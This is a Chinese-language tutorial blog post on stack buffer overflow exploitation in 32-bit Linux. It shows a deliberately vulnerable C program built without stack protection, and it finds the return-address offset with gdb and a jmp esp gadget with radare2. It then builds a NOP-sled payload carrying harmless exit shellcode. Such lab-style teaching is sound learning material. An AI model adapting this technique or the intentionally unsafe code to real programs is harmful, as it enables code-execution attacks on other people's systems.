0%

【Linux技术分享】栈溢出漏洞-shellcode学习

栈溢出漏洞-shellcode学习

最近在wine开发中发现一些关于漏洞知识点,很有意思记录一下。参考

esp/ebp

  • esp:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶,向上偏移。/低地址
  • ebp:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。/高地址
    图1
1
2
3
4
5
int foo(int arg1, int arg2) {
int local1;
int local2;
// ...
}

那么该函数的栈帧布局如下:
图2

栈溢出程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# include <stdio.h>
int foo() {
char buf[10];
scanf("%s", buf);
printf("hello %s\n", buf);
return 0;
}
int main() {
foo();
printf("good bye!\n");
return 0;
}

void dummy() {
__asm__("nop; jmp esp");
}

gcc test.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack

函数返回地址

1
2
3
4
5
6
7
8
9
(gdb) run
Starting program: /home/mecry/dde-c/metho/metho1/victim
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141

用p打印eip的值(eip是存储下一个执行的语句),41494141代表小端的AAIA,确认的函数的返回地址出现在De Brujin序列的第23字节.目标就是将shellcode代码在返回地址执行.

栈溢出地址

  1. 查找jmp esp的机器码是多少
    1
    2
    $ rasm2 -a x86 -b 32 "nop; jmp esp"
    90ffe4
  2. 上面的测试程序中有一个dummy()函数,通过这个函数找到jmp esp的地址
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    $ r2 ./victim 
    -- Wow, my cat knows radare2 hotkeys better than me!
    [0x08049070]> /x 90ffe4
    Searching 3 bytes in [0x804c024-0x804c028]
    hits: 0
    Searching 3 bytes in [0x804bf0c-0x804c024]
    hits: 0
    Searching 3 bytes in [0x804a000-0x804a1b8]
    hits: 0
    Searching 3 bytes in [0x8049000-0x8049278]
    hits: 1
    Searching 3 bytes in [0x8048000-0x804834c]
    hits: 0
    0x080491ed hit0_0 90ffe4
    找到地址为0x080491ed,我们返回地址确定就是这个了.

问:为什么要将这个地址覆盖返回地址?

回答:如果用jmp esp覆盖返回地址,那么在函数返回后会执行jmp esp,跳到esp,也就是返回地址的下一地址开始执行
因此,将shellcode放于返回地址之后,并将返回地址覆盖为jmp esp,就可以避免shellcode在内存中产生的移位问题

shellcode编写和payload构造

1
2
3
mov eax, 0x01;
mov ebx, 66;
int 0x80;

其中0x01是exit的系统调用号, ebx为参数, 即我们想程序立刻结束并返回66. 用rasm2来编译生成机器码:

1
2
$ rasm2 -a x86 -b 32 -f shellcode.asm 
b801000000bb42000000cd80

配合前面确定的返回地址, 可以构造一个payload:

1
'A'*22 + '\xed\x91\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'"

这里注意返回地址0x080491ed是小端字节序. 还有payload写在返回地址的后面而不是前面, 因为在函数返回后, 经过了leave和ret指令, 已经恢复了原来的栈帧(原本被保护性压入栈, 即高地址中). ‘\x90’*50的作用是填充nop指令, 可以提高payload的鲁棒性, 不用精确指定指令起始地址也能执行, 通常称为NOP sled. 测试下:

1
2
3
$ python -c "print 'A'*22 + '\xed\x91\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'" | ./victim
$ echo $?
66